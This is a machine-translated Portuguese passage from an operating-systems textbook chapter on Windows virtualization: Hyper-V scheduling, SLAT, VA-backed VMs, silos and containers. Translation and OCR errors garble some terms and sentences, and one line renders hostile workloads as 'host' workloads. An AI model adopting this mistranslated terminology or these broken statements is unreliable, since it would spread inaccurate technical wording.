recursos muito semelhantes aos processos e threads do sistema operacional. O hipervisor representa 
internamente cada partição com uma estrutura de dados de processo e cada VP 
com um fio. Desta perspectiva, cada partição é um espaço de endereço e cada 
VP é uma entidade programável. Como tal, o hipervisor também inclui um escalonador para 
agendar VPs em processadores físicos. 

Para virtualizar processadores e memória, o hipervisor depende de extensões de virtualização 
fornecidas pelo hardware subjacente. Intel, AMD e ARM 
têm pequenas variações no que oferecem, mas são todos conceitualmente semelhantes. Em um 
resumindo, o hardware define um nível de privilégio mais alto para o hipervisor e permite 
para interceptar várias operações que ocorrem enquanto um processador está executando no convidado 
modo. Por exemplo, quando ocorre uma interrupção do relógio, o hipervisor obtém o controle e 
pode decidir trocar o VP atualmente em execução e escolher outro, potencialmente 
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pertencente a uma partição diferente. Ou pode decidir injetar a interrupção no VP atualmente em execução 
para o sistema operacional convidado manipular. As partições convidadas podem chamar explicitamente o 
hipervisor — semelhante a como um processo de modo de usuário pode fazer uma chamada de sistema 
para o kernel — usando uma hiperchamada, que é uma armadilha para o hipervisor, análoga a uma 
chamada de sistema, que faz uma armadilha para o kernel. 

Para virtualização de memória, o hipervisor aproveita o suporte SLAT (Second Level Address 
Translation) fornecido pela CPU que essencialmente adiciona outro nível de tabelas de páginas para 
traduzir GPAs (Endereços Físicos de Convidados) em SPAs (Endereços Físicos de Servidor ) . 
Extended Page Tables) na Intel, NPT (Nested Page Tables) na AMD e tradução de estágio 2 no arm64. 
O hipervisor usa o SLAT para garantir que as partições não possam ver a memória umas das outras ou do 
hipervisor (a menos que seja explicitamente desejado). O SLAT para a partição raiz é configurado em um 
mapeamento 1:1 de forma que os GPAs raiz correspondam aos SPAs. 


O SLAT também permite que o hipervisor especifique direitos de acesso (leitura, gravação, execução) em 
cada tradução que substituem quaisquer direitos de acesso que o convidado possa ter especificado nas 
tabelas de páginas de primeiro nível. Isto é importante como veremos mais adiante. 
Quando se trata de agendar VPs em processadores físicos, o hipervisor suporta três escalonadores 
diferentes: 1. Agendador clássico: O 
agendador clássico é o agendador padrão usado pelo hipervisor. Ele agenda todos os VPs não 


ociosos no modo round-robin, mas permite ajustes como definir afinidade de VPs para 

um conjunto de processadores, reservar uma porcentagem da capacidade do processador 
e definir limites e pesos relativos que são usados ao decidir qual VP deve ser executado 
em seguida. 


2. Core Scheduler: O Core Scheduler é relevante em CPUs que implementam SMT 
(Symmetric Multi-Threading). SMT expõe dois LPs (processadores lógicos), que 
compartilham os recursos de um único núcleo de processador. Isto é feito para maximizar 
a utilização dos recursos de hardware do processador, mas tem duas desvantagens 
potencialmente significativas (até agora). 

Primeiro, um thread SMT pode impactar o desempenho de seu irmão porque eles 
compartilham recursos de hardware como caches. Além disso, um thread SMT pode usar 
vulnerabilidades de canal lateral de hardware para inferir dados acessados por seu irmão. 
Por estas razões, não é uma boa ideia, do ponto de vista do desempenho e do isolamento 
de segurança, executar VPs pertencentes a partições diferentes em irmãos SMT. Esse é 
o problema que o agendador principal resolve; ele agenda um núcleo inteiro, com todos 
os seus threads SMT para uma única partição por vez. Normalmente, a partição é SMT 
aw are, portanto possui dois VPs correspondentes aos LPs naquele núcleo. O Azure 
utiliza exclusivamente o agendador principal. 


3. Agendador raiz: Quando o agendador raiz está habilitado, o próprio hipervisor não faz 
nenhum agendamento de VP. Em vez disso, um componente da pilha de virtualização em 
execução na raiz, conhecido como VID (Virtualization 
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Driver de infraestrutura) cria um thread de sistema para cada VP convidado, 
chamados threads de apoio de VP a serem agendados pelo thread do Windows 
Agendador. Sempre que um desses threads é executado, ele faz um 

hypercall para informar ao hipervisor para executar o VP associado. Considerando que a 
outros agendadores tratam os VPs convidados como caixas pretas — como deveria ser o 
caso para a maioria dos cenários de máquinas virtuais — o agendador raiz permite 
para diversas iluminações (paravirtualizações) possibilitando melhor integração entre 

o hóspede e o anfitrião. Por exemplo, um esclarecimento permite que o convidado 
informe o anfitrião sobre as prioridades dos tópicos 

atualmente em execução em seus VPs. O escalonador host pode refletir essas dicas 

de prioridade nos threads e cronogramas correspondentes de apoio ao VP. 
adequadamente, em relação a outros threads de host. O agendador raiz é 

ativado por padrão nas versões cliente do Windows. 


A pilha de virtualização 


Embora o hipervisor forneça virtualização de hardware para partições convidadas, ele 
é preciso muito mais do que isso para executar máquinas virtuais. A pilha de virtualização, composta por 
vários componentes em modo kernel e modo de usuário, gerencia 
memória da máquina, gerencia o acesso ao dispositivo e orquestra estados da VM, como início, 
parar, suspender, retomar, migração ao vivo e instantâneo. 

Conforme mostrado na Figura 11.50, WinHvr.sys é a camada mais baixa do sistema de virtualização 
pilha no sistema operacional raiz. Sua contraparte convidada esclarecida é o WinHv.sys em um Windows 
guest ou LinuxHv em um convidado Linux. É o driver da interface do hipervisor que 
expõe APIs para facilitar a comunicação com o hipervisor em vez de diretamente 
emitindo hiperchamadas. É o equivalente lógico de ntall.dil no modo de usuário que oculta 
a interface de chamada do sistema por trás de um conjunto melhor de exportações. 

VID.sys, o driver de infraestrutura de virtualização, é responsável por gerenciar 
memória para máquinas virtuais. Ele expõe interfaces à virtualização em modo de usuário 
empilhar componentes para construir o espaço GPA de um convidado que inclui 
memória convidada, bem como espaço de E/S mapeado em memória (MMIO). Em resposta a estes 
solicitações, o VID aloca memória física do gerenciador de memória do kernel e 
solicita ao hipervisor, por meio do WinHvr.sys, que mapeie os GPAs convidados para esses SPAs. O 
hipervisor precisa de memória física para construir a hierarquia SLAT para cada convidado. O 
a memória necessária para tais metadados é alocada pelo VID e depositada no 
o hipervisor, conforme necessário. 

VMBus é outro componente da pilha de virtualização no modo keykernel. Seu trabalho é 
facilitar a comunicação entre partições. Ele faz isso configurando memória compartilhada entre partições 
(por exemplo, um convidado e a raiz) e aproveitando o suporte de interrupção sintética no hipervisor 
para obter uma interrupção injetada na partição relevante quando uma mensagem está pendente. 
VMBus é usado em E/S paravirtualizada. 

VSPs e VSCs são provedores de serviços virtuais e clientes executados na raiz e 
partições convidadas, respectivamente. Os VSPs se comunicam com seus colegas convidados 
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sobre VMBus para fornecer vários serviços. O uso mais comum de VSPs é para 
dispositivos paravirtualizados e acelerados, mas outras aplicações, como sincronização de tempo 
no convidado ou implementação de memória dinâmica via balão também existe. 
Os componentes de virtualização no modo de usuário servem para gerenciar VMs, bem como suporte 
a dispositivos e orquestração de operações de VM, como iniciar, parar, pausar, retomar, 
migração ao vivo, instantâneo, etc. VMMS (Virtual Machine Management Service) 
expõe interfaces para outras ferramentas de gerenciamento para consultar e gerenciar 
máquinas. O HCS realiza uma tarefa semelhante para contêineres. Para cada VM, o VMMS cria um 
processo de trabalho de máquina virtual, VMWP.exe. VMWP gerencia o estado do 
VM e suas transições de estado. Inclui VDEVs (Dispositivos Virtuais), que representam coisas como 
placa-mãe virtual, discos, dispositivos de rede, BIOS, 
teclado, mouse, etc. À medida que a máquina virtual inicializa e os VDEVs são "ligados", 
eles configuram portas de E/S ou intervalos MMIO no espaço GPA por meio do driver VID ou 
eles se comunicam com seu driver VSP para iniciar a configuração do canal VMBus com o 
VSC correspondente no convidado. 


E/S do dispositivo 


Existem diversas maneiras pelas quais o Hyper-V pode expor dispositivos aos seus convidados, dependendo 
quão esclarecido é o sistema operacional convidado e o nível de suporte de virtualização no disco rígido 


louça. 


1. Dispositivos emulados: um convidado não iluminado se comunica com dispositivos através 
de portas de E/S ou registros de dispositivos mapeados na memória. Para dispositivos 
emulados, o VDEV configura essas portas e intervalos GPA para causar 
interceptações do hipervisor quando acessado. As interceptações são então encaminhadas 
para o VDEV em execução no processo de trabalho da VM por meio do 
Driver VID. Em resposta, o VDEV inicia a E/S solicitada pelo 
convidado e retoma o VP convidado. Normalmente, quando a E/S é concluída, 

o VDEV injetará uma interrupção sintética no convidado por meio do VID 

e o hipervisor para sinalizar a conclusão. Dispositivos emulados também exigem 

muitas mudanças de contexto entre o convidado e o host e não são 

apropriados para dispositivos de alta largura de banda, mas são perfeitamente adequados 
para dispositivos como teclado e mouse. 


2. Dispositivos paravirtualizados: Quando um dispositivo sintético é exposto a um 
partição convidada de seu VDEV, um convidado esclarecido carregará o driver VSC 
correspondente que configura a comunicação VMBus com seu 
VSP na raiz. Um exemplo muito comum disso é o armazenamento. Virtual 
discos rígidos são normalmente usados com VMs e são expostos por meio do 
Drivers StorVSP e StorVSC. Uma vez configurado o canal VMBus, 

As solicitações de E/S recebidas pelo StorVSC são comunicadas ao 
StorVSP que os emite para o disco rígido virtual correspondente 
disco por meio do driver vhdmp.sys . A Figura 11-51 ilustra esse fluxo. 
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3. Dispositivos acelerados por hardware: Embora a E/S paravirtualizada seja muito mais 
eficiente do que a emulação de dispositivos, ela ainda apresenta muita sobrecarga de 
CPU raiz, especialmente quando se trata dos dispositivos de rede de última geração 
usados em data centers ou discos NVMe. Esses dispositivos suportam SR-IOV 
(virtualização de E/S de raiz única) ou DDA (atribuição de dispositivo discreto). De 
qualquer forma, o PCI VDEV virtual, trabalhando com o vPCI VSP/VSC, expõe o 
dispositivo ao convidado no barramento PCI virtual. Esta é uma função virtual (VF) para 
dispositivos SR-IOV ou uma função física (PF) para DDA. O convidado carrega o driver 
de dispositivo correspondente e é capaz de se comunicar diretamente com o dispositivo 
porque seu espaço MMIO é mapeado na memória do convidado por meio do IOMMU. 
O IOMMU também é configurado pelo hipervisor para garantir que o dispositivo só 
possa executar E/S em páginas expostas ao convidado. 


Root Partition Enlightened 


Child Partition 


Applications 


User 
Kernel 
4 os 
and / ` and 
Drivers e, Drivers 
Filesystem 
HO stack 
Disk CPU Memory 
Figura 11-51. Fluxo de E/S parvirtualizada para um sistema operacional convidado esclarecido. 
VMs apoiadas por VA 


Normalmente, o driver VID aloca memória física dedicada para cada máquina virtual e a mapeia no 
espaço GPA por meio do SLAT. Essa memória pertence à VM, esteja ela em uso ou não. O Hyper-V 
também oferece suporte a um modelo diferente de gerenciamento de memória de VM, chamado de VMs 
apoiadas por VA, que oferece mais flexibilidade. 
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Em vez de alocar páginas físicas antecipadamente, o espaço VM GPA apoiado por VA é apoiado por memória 
virtual alocada a partir de um processo mínimo (consulte a Seção 11.4.3) chamado ed vmmem. O VID cria um 
processo vmmem para cada VM apoiada por VA e aloca memória virtual nesse processo correspondente ao 
tamanho de RAM configurado para a VM, usando uma variante interna do VirtualAlloc. O mapeamento entre o 
intervalo de endereços virtuais vmmem e o espaço GPA convidado é gerenciado por um componente do kernel do 


NT chamado MicroVm, que é totalmente integrado ao gerenciador de memória. 


Uma VM apoiada por VA inicia a inicialização com um SLAT praticamente vazio. À medida que seus VPs 
acessam as páginas físicas dos convidados, eles atingem falhas de página SLAT, levando a interceptações de 
memória no hipervisor que são encaminhadas para o VID e depois para o MicroVm. O MicroVm determina o 
endereço virtual que corresponde ao GPA com falha e solicita ao gerenciador de memória que execute o tratamento 
regular de falhas com demanda zero, o que envolve a alocação de uma nova página física e a atualização do PTE 
correspondente ao endereço virtual do vmmem. Depois que a falha for resolvida e o endereço virtual for adicionado 
ao conjunto de trabalho vmmem, o MicroVm chama o hipervisor para atualizar o mapeamento SLAT do GPA com 
falha para a página recém-alocada. Depois disso, o VID pode retornar ao hipervisor, resolvendo a falha do convidado 


e retomando o VP convidado. 


O inverso também pode acontecer. Se o gerenciador de memória do host decidir cortar uma página válida do 
conjunto de trabalho vmmem, o MicroVm solicitará ao hipervisor que valide o mapeamento SLAT para o GPA 
correspondente. Na próxima vez que o convidado acessar esse GPA, ocorrerá uma falha de SLAT que precisará ser 


resolvida conforme descrito anteriormente. 


O design de VMs apoiadas por VA permite que o gerenciamento de memória do host trate a máquina virtual 
(representada pelo processo vmmem) como qualquer outro processo e aplique seu conjunto de truques de 
gerenciamento de memória a ela. Mecanismos como envelhecimento, corte, paginação, pré-busca, combinação de 


páginas e compactação podem ser usados para gerenciar a memória da VM com mais eficiência. 


As VMs apoiadas por VA permitem outra otimização significativa de memória: o compartilhamento de arquivos. 
Embora existam muitas aplicações de compartilhamento de arquivos, uma particularmente importante é quando 
vários convidados estão executando o mesmo sistema operacional ou quando um convidado está executando o 
mesmo sistema operacional que o host. Semelhante à forma como a RAM convidada é associada a um intervalo de 
endereços virtuais no vmmem, um binário pode ser mapeado para o espaço de endereço vmmem usando o 
equivalente a MapViewOfFile. O intervalo de endereços resultante é exposto ao convidado como um novo intervalo 
GPA e o mapeamento é rastreado pelo MicroVm. Dessa forma, os acessos ao intervalo GPA resultarão em 
interceptações de memória que serão resolvidas por páginas de arquivos suportadas pelo binário. O ponto crítico é 
que os processos host que mapeiam o mesmo arquivo usarão exatamente a mesma página de arquivo na memória 
física. 

Até agora, descrevemos como um mapeamento de arquivo pode ser exposto ao convidado como um intervalo 
GPA enquanto é compartilhado por processos host (ou por intervalos GPA em outras VMs). Como o convidado usa 
o intervalo GPA como arquivo? No convidado, um driver de sistema de arquivos aprimorado (chamado wcifs.sys no 
Windows) aproveita um recurso de gerenciador de memória chamado Direct Map para expor a memória endereçável 


pela CPU como páginas de arquivo que o 
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gerenciador de memória pode usar diretamente. Em vez de alocar novas páginas físicas, copiar os 
dados do arquivo nessas páginas e então apontar PTEs para elas, o gerenciador de memória atualiza 
os PTEs para apontarem diretamente para as próprias páginas de arquivo endereçáveis pela CPU. 
Esse mecanismo permite que todos os processos no sistema operacional convidado compartilhem 

os mesmos GPAs que foram expostos no mapeamento do arquivo vmmem. A Figura 11-52 mostra 
como a memória VM apoiada por VA é organizada. 
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Figura 11-52. O espaço GPA da VM apoiada por VA é mapeado logicamente para 
intervalos de endereços virtuais em seu processo vmmem no host. 


Além das otimizações descritas até agora, o design da VM apoiada por VA também permite 
vários esclarecimentos de gerenciamento de memória no convidado para otimizar ainda mais 
o uso da memória. Um exemplo importante é a iluminação da memória quente/fria. 
Por meio de hiperchamadas, o gerenciador de memória convidado pode fornecer dicas ao host 
sobre GPAs que têm maior ou menor probabilidade de serem acessados em breve. Em 
resposta, o host pode garantir que essas páginas sejam residentes e válidas no SLAT (para 
páginas “quentes”) ou eliminá-las do conjunto de trabalho vmmem (para páginas “frias”. Os 
convidados do Windows aproveitam esse esclarecimento para dar dicas frias às páginas no 
final da lista de páginas zeradas. Isso resulta na liberação das páginas físicas do host subjacente 
na lista de páginas zero no host devido à detecção de página zero feita pelo gerenciador de 
memória durante o ajuste do conjunto de trabalho (consulte a Seção 11.5.3). Dicas quentes 
são usadas para páginas no topo das listas livres, zero e de espera, se estas tiverem sido previamente sugeridas. 
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11.10.2 Contêineres 


A virtualização baseada em hardware é muito poderosa, mas às vezes oferece mais 
isolamento do que o desejado. Em muitos casos, é preferível ter uma virtualização mais refinada. O Windows 
10 adicionou suporte para contêineres que aproveitam 
virtualização de software. Esta seção investigará alguns usos para uma virtualização mais detalhada e, em 
seguida, examinará como ela é implementada. 

Anteriormente na Sec. 11.2.1 foi discutida a arquitetura moderna de aplicativos, uma das 
os benefícios são a instalação/desinstalação confiável e a capacidade de entregar aplicativos por meio da 
Micro soft Store. No Windows 8, apenas aplicativos modernos eram entregues pela loja — deixando 
a enorme biblioteca de aplicativos Windows existentes. A Microsoft queria 
fornecer uma maneira para os fornecedores de software empacotarem seus aplicativos existentes para serem 
entregue na loja, mantendo os benefícios que a loja deveria fornecer. A solução foi incentivar a distribuição 
de aplicativos por meio de pacotes MSIX e permitir a virtualização da instalação do aplicativo. Em vez de 


exigindo que um instalador modifique o sistema de arquivos e o registro para instalar o aplicativo, aqueles 
modificações seriam virtualizadas. Quando o aplicativo é iniciado, o sistema 

cria um contêiner com uma visão alternativa do sistema de arquivos e do namespace do registro 

que fazem parecer que o aplicativo foi instalado (para o aplicativo prestes a ser 

ser executado). Se o usuário decidir desinstalar o aplicativo, o pacote MSIX será excluído, mas não será 
mais necessário remover arquivos e estado do aplicativo. 

do sistema de arquivos e registro. 

O Windows 10 também introduziu um recurso semelhante aos contêineres do Linux, conhecido como 
Contêineres do Windows Server. Um contêiner do Windows Server fornece um ambiente que se parece 
com uma máquina virtual completa. O contêiner obtém seu próprio endereço IP, 
pode ter seu próprio nome de computador na rede, seu próprio conjunto de contas de usuário, etc. 

No entanto, um contêiner do Windows Server é muito mais leve que uma VM porque 

ele compartilha o kernel com o host, apenas os processos do modo de usuário são replicados. 
Esses tipos de contêineres não fornecem o mesmo nível de isolamento que uma VM, mas 
fornecer um modelo de implantação muito conveniente e reduzir a preocupação de executar 


duas aplicações que normalmente não poderiam coexistir. 
Virtualização de namespace 


A tecnologia subjacente na qual os contêineres são construídos é conhecida como virtualização de 
namespace. Em vez de virtualizar o hardware, como fazem as VMs, os contêineres possibilitam que um ou 
mais processos sejam executados com uma visão ligeiramente diferente de vários processos. 
espaços para nome. 

Para fornecer suporte à virtualização de namespace, o Windows 10 introduziu o 
noções de Silos. Os silos são uma extensão do objeto de trabalho (ver Seção 11.4.1) que 
permitir a virtualização do namespace. Os silos permitem fornecer alternativas 
visualizações de namespaces para os processos em execução neles. Os silos são o alicerce fundamental 
para a implementação do suporte a contêineres no Windows. Há 


Machine Translated by Google 


1012 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


na verdade, dois tipos de Silos. O primeiro é conhecido como Silo de Aplicativos. Silos de aplicativos 

fornecem apenas virtualização de namespace. Um trabalho é convertido em um silo por meio de uma chamada de 
API SetlnformationJobObject para ativar os recursos de virtualização de namespace no 

trabalho. Em vez de exigir uma chamada separada para promover um objeto de trabalho em um silo, a Micro soft 
poderia simplesmente ter mudado a implementação dos objetos de trabalho de modo que todos os trabalhos 
tinha suporte para virtualização de namespace. No entanto, isso teria feito com que todo o trabalho 

objetos exigiam mais memória, então, em vez disso, foi adotado um modelo pago para jogar. O 

o segundo tipo de silo é conhecido como Server Silo. Silos de servidores são usados para implementar 
Contêineres do servidor Windows (veja abaixo). Como os contêineres de servidor fornecem o 

ilusão de uma máquina completa, algum estado do modo kernel precisa ser instanciado por contêiner. Silos de 
servidor são construídos em silos de aplicativos, além da virtualização de namespace 

também permite que vários componentes do kernel mantenham cópias separadas de seu estado 

por contêiner. Os silos de servidores exigem muito mais armazenamento do que um silo de aplicativos, portanto, o 
modelo pay for play é novamente adotado para que esse armazenamento extra seja necessário apenas para trabalhos 
promovido em silos de servidor completos. 

Quando um trabalho é criado e promovido para um silo de aplicativos, ele é considerado um contêiner de 
namespace. Antes de lançar processos dentro do contêiner, os vários 
os namespaces que estão sendo virtualizados devem ser configurados. Os namespaces mais proeminentes 
são o sistema de arquivos e os namespaces do registro. A virtualização desses namespaces é feita 
por meio de drivers de filtro. Durante a inicialização do silo, um componente de modo de usuário enviará 
IOCTLs para os vários filtros de namespace para configurá-los sobre como virtualizar 
o namespace fornecido. No entanto, nenhum estado de contêiner está associado aos filtros 
eles mesmos. Em vez disso, o modelo deve associar todos os estados necessários para executar o namespace 
virtualização com o próprio silo. Durante a inicialização, os drivers de filtro de namespace solicitam um 
índice de slot de silo do sistema e armazená-lo em uma variável global. O silo então fornece um armazenamento de 
chave/valor para os drivers. Eles podem armazenar qualquer objeto do gerenciador de objetos 
(ver Seção 11.3.3) no slot associado ao seu índice. Se um motorista quiser armazenar 
estado que não está na forma de um objeto gerenciador de objetos, ele pode usar o novo kernel 
API PsCreateSiloContext para criar um objeto com armazenamento do tamanho necessário e 
tipo de piscina. O filtro de namespace empacota o estado necessário para virtualizar o 
namespace e o armazena no slot do silo para referência futura. 

Depois que todos os provedores de namespace estiverem configurados, o primeiro aplicativo no contêiner 
será iniciado. À medida que esse aplicativo começa a ser executado, ele inevitavelmente começará a acessar 
vários espaços para nome. Quando uma solicitação de E/S atinge um determinado namespace, o filtro de namespace 
verificará se a virtualização é necessária. Ele cnamará a API de contexto PsGetSilo , passando seu índice de slot 
para recuperar qualquer configuração necessária para virtualizar o namespace. Se o namespace fornecido não 
estiver sendo virtualizado para o thread em execução, a cnamada retornará um código de status indicando que não 
há nada no thread. 
slot, e o filtro de namespace simplesmente passará a solicitação IO para o próximo driver em 
pilha (consulte a Seção 11.7.3 para obter detalhes sobre pilhas de drivers). No entanto, se a configuração 
informações foram encontradas no slot, o filtro de namespace as usará para determinar como 
para virtualizar o namespace. Por exemplo, o filtro pode precisar modificar o nome 


do arquivo que está sendo aberto antes de passar a solicitação pela pilha. 
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A vantagem de associar toda a configuração ao silo e fazer com que os slots de armazenamento 
contenham objetos do gerenciador de objetos é que a limpeza é simples. Quando o último processo no 
silo desaparece, e a última referência ao silo desaparece, o sistema pode simplesmente executar as 
entradas em cada slot de armazenamento e descartar a referência ao objeto associado. Isso é muito 
semelhante ao que o sistema faz quando um processo é encerrado e sua tabela de identificadores é 
esgotada. 

Os contêineres de servidor são um pouco mais complicados do que os silos de aplicativos, pois 
muitos outros namespaces devem ser virtualizados para criar a ilusão de uma máquina isolada. 

Por exemplo, os silos de aplicativos normalmente compartilham a maioria dos namespaces com o host e 
geralmente precisam apenas de alguns novos recursos inseridos no namespace observado. Com 
contêineres de servidor, todos os namespaces devem ser virtualizados. Isso inclui o namespace completo 
do gerenciador de objetos, o sistema de arquivos e registro, o namespace da rede, o namespace do ID 

do processo e do thread, etc. Se, por exemplo, o namespace da rede não foi virtualizado, um processo em 
um contêiner pode usar uma porta que um processo em outro contêiner necessário. Ao atribuir a cada 
contêiner seu próprio endereço IP e espaço de porta, tais conflitos são evitados. Além disso, os namespaces 
de ID de processo e thread são virtualizados para evitar que um contêiner veja ou tenha acesso a 

processos e threads de outro contêiner. 


Além do conjunto maior de namespaces a serem virtualizados, os contêineres de servidor também 
exigem cópias privadas de vários estados do kernel. Um administrador do Windows normalmente pode 
configurar determinado estado global do sistema que afeta toda a máquina. Para fornecer esse mesmo 
tipo de controle a um processo administrativo em execução dentro do contêiner, o kernel foi atualizado 
para permitir que esse estado seja aplicado por contêiner, em vez de globalmente. O resultado é que 
grande parte do estado do kernel que era armazenado anteriormente em variáveis globais agora é 
referenciado por contêiner. Existe uma noção de contêiner de host que é onde o estado do host é 
armazenado. 

A inicialização de um silo de servidor começa da mesma forma que a criação de um silo de aplicativo. 
O objeto de trabalho é promovido para um silo e a configuração do namespace é feita. 

Ao contrário dos contêineres de aplicativos padrão, os contêineres de servidor obtêm um namespace 
completo de gerenciador de objetos privados. A raiz do namespace dos contêineres do servidor é um 
diretório do gerenciador de objetos no host. Isso permite ao host total visibilidade e acesso ao contêiner, o 
que auxilia nas tarefas de gerenciamento. Por exemplo, o seguinte diretório pode representar a raiz de 
um namespace de contêiner de servidor: ISilosl100. Neste exemplo, 100 é o identificador de trabalho do 
silo que suporta o contêiner de servidor. Este diretório também é pré-preenchido com uma variedade de 
objetos, de modo que o namespace do gerenciador de objetos para o contêiner será semelhante ao 
namespace do host antes de iniciar o primeiro processo de modo de usuário. Alguns desses objetos são 
compartilhados com o host e expostos ao contêiner com um tipo especial de link simbólico que permite 
que os objetos do host sejam acessados de dentro do contêiner. 


Depois que o namespace do contêiner estiver configurado, a próxima etapa é promover o silo a um 


silo de servidor. Isso é feito com outra chamada SetInformationJobObject . Promover o silo a silo de 
servidor aloca estruturas de dados adicionais usadas para manter cópias instanciadas do estado do 


kernel. Então o kernel invoca componentes de kernel iluminados 
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e dar-lhes a oportunidade de inicializar seu estado e fazer qualquer outro trabalho de preparação 
obrigatório. Se alguma dessas etapas falhar, a inicialização do silo do servidor falhará e o contêiner 
está demolido. 

Finalmente, o processo inicial do modo de usuário smss.exe é iniciado dentro do contêiner. 
Neste ponto, indique as partes do modo de usuário da inicialização do sistema operacional. Uma nova instância de 
csrss.exe é iniciado (o processo do subsistema Win32), uma nova instância de Isass.exe (o 
subsistema de autoridade de segurança local), um novo gerenciador de controle de serviço, etc. 
na maior parte, tudo funciona da mesma maneira que funcionaria se inicializasse o modo de usuário no 
hospedar. Algumas coisas são diferentes no contêiner, no entanto. Por exemplo, um interativo 
a sessão do usuário não é criada — ela não é necessária, pois o contêiner não tem cabeçalho. Mas 
essas alterações são apenas alterações de configuração, impulsionadas por mecanismos existentes. O 
A diferença no comportamento ocorre porque o estado do registro virtualizado do contêiner é 
configurado dessa forma. 

À medida que o contêiner é inicializado, ele é inicializado a partir de um VHD (disco rígido virtual). No 
entanto, esse VHD está quase vazio. O driver de virtualização do sistema de arquivos, wcifs.sys, 
fornece aos processos em execução dentro do contêiner a aparência de que o disco rígido 
o disco está totalmente preenchido. O armazenamento de apoio para o conteúdo do disco do contêiner é 
espalhados por um ou mais diretórios no host, conforme ilustrado na Figura 11.53. Cada 
desses diretórios host representa uma camada de imagem. A camada mais inferior é 
conhecida como camada base e é fornecida pela Microsoft. As camadas subsequentes são vários deltas para 
esta camada inferior, potencialmente alterando as definições de configuração no 
seções de registro virtualizadas, ou adições, alterações ou exclusões (representadas por arquivos de marca 
para exclusão especiais no sistema de arquivos. No tempo de execução, o filtro de namespace do sistema de 
arquivos mescla cada um desses diretórios para criar a visualização exposta ao contêiner. Cada um deles essas 
camadas são imutáveis e podem ser compartilhadas entre contêineres. 
Se o contêiner for executado e fizer alterações no sistema de arquivos, essas alterações serão capturadas no 
VHD exposto ao contêiner. Desta forma, o VHD conterá 
deltas das camadas abaixo. É possível desligar posteriormente o contêiner e 
crie uma nova camada com base no conteúdo do VHD. Ou se o contêiner não for 
mais necessário, ele pode ser descartado e todos os efeitos colaterais persistentes eliminados. 

Certas operações são bloqueadas dentro de um contêiner. Por exemplo, um contêiner é 
não é permitido carregar um driver de kernel, pois isso pode permitir uma saída para escapar do 
contenção. Além disso, certas funcionalidades, como alterar a hora, são bloqueadas no contêiner. Normalmente, 
tais operações são protegidas por privilégios 
Verificações. Essas verificações de privilégio são aumentadas durante a execução no contêiner, para que 
que as operações que deveriam ser bloqueadas dentro de um contêiner são bloqueadas independentemente 
do privilégio habilitado no token do chamador. Outras operações, como alterar 
o fuso horário, são permitidos se o privilégio necessário for mantido, mas a operação for virtualizada para que 
apenas os processos dentro do contêiner usem o novo fuso horário. 

Um contêiner pode ser encerrado de algumas maneiras. Primeiro, ele pode ser encerrado a partir de 
o exterior (através da pilha de gerenciamento), que é como um desligamento forçado. Em segundo lugar, é 
pode ser encerrado de dentro do contêiner quando um processo chama uma API Win32 para 
desligue o Windows, como ExitWindowsEx ou InitiateSystemShutdown. Quando 
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Windows Server Container 


smss.exe 
csrss.exe 


Isass.exe 


Base Image 


Figura 11-53. O conteúdo do VHD exposto ao contêiner é apoiado por um conjunto de diretórios 
de host que são mesclados em tempo de execução para formar o conteúdo do sistema de 
arquivos do contêiner. 


Host 


a solicitação para desligar a máquina chega ao kernel e se a solicitação for originada em um contêiner, o 
kernel encerra o contêiner em vez de desligar o host. Um contêiner também pode ser encerrado se um 
processo crítico dentro do contêiner travar. Isso normalmente resultaria em uma tela azul do host, mas se o 


processo crítico estivesse em um contêiner, o contêiner seria encerrado em vez de causar uma tela azul. 


Contêineres isolados do Hyper-V 


Os Server Silos fornecem um alto grau de isolamento com base no isolamento do namespace. 

A Microsoft anuncia esses contêineres como adequados para multilocação empresarial ou cargas de trabalho 
não hostis. No entanto, há momentos em que é desejável executar cargas de trabalho hospedeiras dentro 

de um contêiner. Para esses cenários, os contêineres isolados do Hyper-V são a solução. Esses 
contêineres aproveitam o mecanismo de virtualização baseado em hardware para fornecer um limite muito 
seguro entre o contêiner e seu host. 

Um dos principais objetivos de design dos Contêineres do Windows era não exigir que um administrador 
decidisse antecipadamente que tipo de contêiner usar. Os mesmos artefatos devem ser utilizáveis com um 
contêiner do Windows Server ou um contêiner isolado do Hyper-V. A abordagem adotada foi sempre executar 
um silo de servidor para o contêiner, mas em alguns casos, ele é executado no host (Windows Server 
Containers) e em outros, é executado dentro de algo conhecido como Utility VM (Hyper-V Isolated 
Containers ) .). A VM Utilitária é criada como uma VM apoiada por VA para otimizar o uso de memória e 
permitir o compartilhamento de memória de binários de imagem base de contêiner em contêineres em 
execução, o que melhora significativamente a densidade. 


A VM utilitária também executa uma instância de sistema operacional bastante reduzida, projetada para 
hospedar nada além de silos de servidor, para que seja inicializada rapidamente e use o mínimo de memória. 
Quando o contêiner isolado do Hyper-V é instanciado, a VM do utilitário é iniciada primeiro. 
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Em seguida, o HCS (Host Compute Service) se comunica com o GCS (Guest Compute Service) em 
execução na VM Utilitária e solicita que o silo do servidor seja iniciado. 
Como os contêineres isolados do Hyper-V executam sua própria cópia do kernel do Windows 
na VM Utilitária, mesmo uma carga de trabalho hostil que consegue tirar vantagem de um 
falha no kernel do Windows não será capaz de atacar o host. Os administradores podem 


alterne entre executar um contêiner de servidor em um cenário isolado de processo ou isolado do Hyper V 
com uma opção de linha de comando. 


Processos isolados de hardware 


O Windows 10 também introduziu suporte para a execução de determinados processos que 
representam uma alta superfície de ataque em contêineres isolados de hardware em algumas edições do 
Windows. MDAG (Microsoft Defender Application Guard) oferece suporte à execução do navegador Edge 
em um contêiner isolado de hardware. A equipe Edge tem 
trabalhou arduamente para proteger os usuários ao navegar para um site malicioso. No entanto, o Edge 
também é muito grande e complicado, assim como o sistema operacional subjacente. Haverá 
sempre haverá bugs latentes que atores mal-intencionados podem tentar explorar. Ao executar o navegador 
Edge em um ambiente do tipo Utility VM, a atividade maliciosa pode ser limitada ao contêiner. E como os 
efeitos colaterais do recipiente podem ser descartados após cada execução, é 
possível fornecer um ambiente puro para cada lançamento. 

Ao contrário dos contêineres de servidor que não têm cabeça, os usuários precisam ver o navegador 
Edge. Isto é conseguido através do aproveitamento de uma tecnologia conhecida como RAIL (Remote Apps 
Integrado localmente). O RDP (Remote Desktop Protocol) é usado para remotamente o 
janela de um único aplicativo, neste caso o navegador Edge, para o host. O 
O efeito é que o usuário tem a mesma experiência que executar o Edge localmente, mas com o 
processamento de back-end feito em um contêiner. A funcionalidade de copiar e colar é limitada 
sobre RDP para evitar ataques maliciosos através da área de transferência. O desempenho da exibição é 
